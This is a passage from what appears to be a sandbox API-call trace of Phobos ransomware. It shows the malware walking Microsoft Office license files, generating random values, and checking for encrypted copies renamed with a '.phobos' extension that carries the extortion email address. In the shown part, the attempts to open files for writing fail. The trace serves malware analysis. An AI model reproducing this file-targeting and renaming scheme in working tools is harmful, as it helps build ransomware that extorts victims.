(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220 [0152.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.609] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.609] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11651) returned 1 [0152.609] CloseHandle (hObject=0x580) returned 1 [0152.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0152.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.610] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.610] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.610] CloseHandle (hObject=0x580) returned 1 [0152.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220 [0152.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.611] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.611] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23134) returned 1 [0152.611] CloseHandle (hObject=0x580) returned 1 [0152.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 0x220 [0152.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.612] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.612] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.612] CloseHandle (hObject=0x580) returned 1 [0152.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 0x220 [0152.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.613] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.613] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.613] CloseHandle (hObject=0x580) returned 1 [0152.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 0x220 [0152.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.614] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.614] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23134) returned 1 [0152.614] CloseHandle (hObject=0x580) returned 1 [0152.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 0x220 [0152.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.615] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.615] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.615] CloseHandle (hObject=0x580) returned 1 [0152.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 0x220 [0152.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.616] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.616] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.616] CloseHandle (hObject=0x580) returned 1 [0152.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 0x220 [0152.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.617] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.618] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23134) returned 1 [0152.618] CloseHandle (hObject=0x580) returned 1 [0152.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 0x220 [0152.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.618] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.619] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.619] CloseHandle (hObject=0x580) returned 1 [0152.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 0x220 [0152.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.619] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.620] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.620] CloseHandle (hObject=0x580) returned 1 [0152.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 0x220 [0152.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.622] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.623] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23134) returned 1 [0152.623] CloseHandle (hObject=0x580) returned 1 [0152.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 0x220 [0152.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.623] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.624] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.624] CloseHandle (hObject=0x580) returned 1 [0152.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 0x220 [0152.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.624] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.625] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.625] CloseHandle (hObject=0x580) returned 1 [0152.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 0x220 [0152.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.625] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.626] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23134) returned 1 [0152.626] CloseHandle (hObject=0x580) returned 1 [0152.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 0x220 [0152.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.626] CreateFileW 